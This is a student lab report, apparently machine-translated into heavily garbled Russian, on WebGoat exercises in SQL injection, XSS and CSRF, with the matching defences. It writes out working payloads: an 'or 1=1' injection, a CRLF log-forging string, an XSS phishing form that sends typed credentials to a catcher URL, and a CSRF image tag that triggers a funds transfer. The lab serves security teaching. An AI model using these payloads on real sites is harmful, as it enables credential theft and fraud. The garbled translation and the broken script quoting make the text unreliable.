каталог
Exp9: Web Security Essentials
Во-первых, основы
атаки инъекции 1.SQL
- Обоснование:
- То есть, когда преступники используют лазейки в программировании, через форму для ввода специальных символов и вредоносный код SQL, так что фон для выполнения запросов SQL, что приводит к непредсказуемому или необратимому нападению на базе данных или уничтожен.
- Оборонительная подход:
- Избегайте ненужную страницу формы представления.
- Для того, чтобы сформировать входные элементы управления, такие как: предельный тип символов, ограничение длины символа
- Использование механизма лицензирования в слое базы данных, операции с базами данных ограничивают поведение.
2.XSS атаки сценариев междоменного
- Обоснование:
- Злоумышленник, воспользовавшийся сайт уязвимости путем внедрения вредоносного кода сценария или иным образом передавать или хранить на сервере, используя браузер пользователя доверять, когда обычный пользователь, чтобы получить доступ к серверу будет скриптовые атаки, такие как доступ к пользователя печенье или другая информация.
- Оборонительная подход:
- Старайтесь не сохранять собственный введенный пользователь в браузере, имя пользователя и пароль
- Разработчики веб-сайт должен быть какой-то фильтрация данных, загруженных пользователем
- Контроль формы ввода
3.CSRF CSRF
- Обоснование:
- Когда пользователь посещает веб-сайт ввода имя пользователя и пароль проверен на узле А генерирует и возвращает информацию Cookie, посетите веб-сайт Успешный случай, как правило, отправить запрос на сайт A. Перед тем не место выхода A, B сайта при доступе других вредоносных, Site B может возвращать код атаки и доступ запроса на сайт А, таким образом, по просьбе сайта B, запрашивающий сайт А. Веб-сайт, но не знает, что запрос является вредоносным, поэтому он будет выполнять вредоносный код.
- Оборонительная подход:
- Запрос маркера аутентификации
- Проверьте Referer
- Добавление случайной проверки
- Установите домен куки
Во-вторых, инъекции SQL
инъекции 1. Команда
- Процесс атаки: входящие вредоносные команды данные в форме представления, для выполнения на стороне сервера.
- Методика эксперимента:
- Щелкните правой кнопкой мыши на странице, выберите
inspect Element
- Нажмите на клавиатуре
f12
Просмотр исходного кода страницы
- Нажмите на
view
кнопку , чтобы выполнить результаты кода заключаются в следующем:
- Щелкните правой кнопкой мыши на странице, выберите
2. Цифровой впрыск
- Процесс атаки: тип входное цифровое поколение никогда действительно в формах ввода , так что введенные заявления SQL должны быть выполнены.
- Методика эксперимента:
- См исходный код страницы экспериментально, чтобы
value='101'
изменить, добавитьor 1=1
сконфигурировано никогда на самом деле формула , как:
- Нажмите на кнопку, чтобы выполнить следующие результаты:
- См исходный код страницы экспериментально, чтобы
3. Вход обманывать
- Процесс атаки: преступники путем инъекций сценарий, измените файл журнала с помощью сценария.
- Методика эксперимента:
- Ввод в форме , предусмотренной в экспериментальной среде ,
2329%0d%0aLogin Succeeded for username: 162329
где%0d
и%0a
возврата каретки и перевода строки. - Результаты, как показано ниже:
- Ввод в форме , предусмотренной в экспериментальной среде ,
Три, атаки XSS
1. фишинговых атак XSS
- Процесс атаки: через входной скрипт формы, изменять страницы HTML, создавать фишинговые сайты для получения информации , вводимой пользователем , когда пользователь вводит.
- Методика эксперимента:
- Введите код сценария в тестовой среде, форма, структура промыслового интерфейса.
- код интерфейса следующим образом:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR> <script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "; } </script>
- Приведенный выше код вводится в поле поиска, нажмите на поиск, как показано на рисунке:
- Когда пользователь нажимает представить интерфейс взломщик будет выглядеть как показано ниже:
Четыре, нападения CSRF
1. CSRF
- Процесс атаки:
- Злоумышленник отправляет URL, чтобы заманить еще клики пользователей для запуска CSRF атак. Для того, чтобы сделать его более удобным для пользователей обманут, мы можем скрыть URL в виде картинок.
- Методика эксперимента:
- Параметр меню Вид в ГКЗ и значения для 261 и 900
- В поле сообщения введите
<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>
нажмите отправить результаты были следующими:
- Когда пользователь нажмет поле Message фотография украдет пользователю 2329 юаней
В-пятых, эксперимент и резюме опыта
Через этот эксперимент действительно чувствует, что инъекции SQL, атаки XSS и CRSF атаку, чтобы понять процесс, который в эксперименте, но и суммированный свою собственную защиту от этих атак, чувствует выгоду.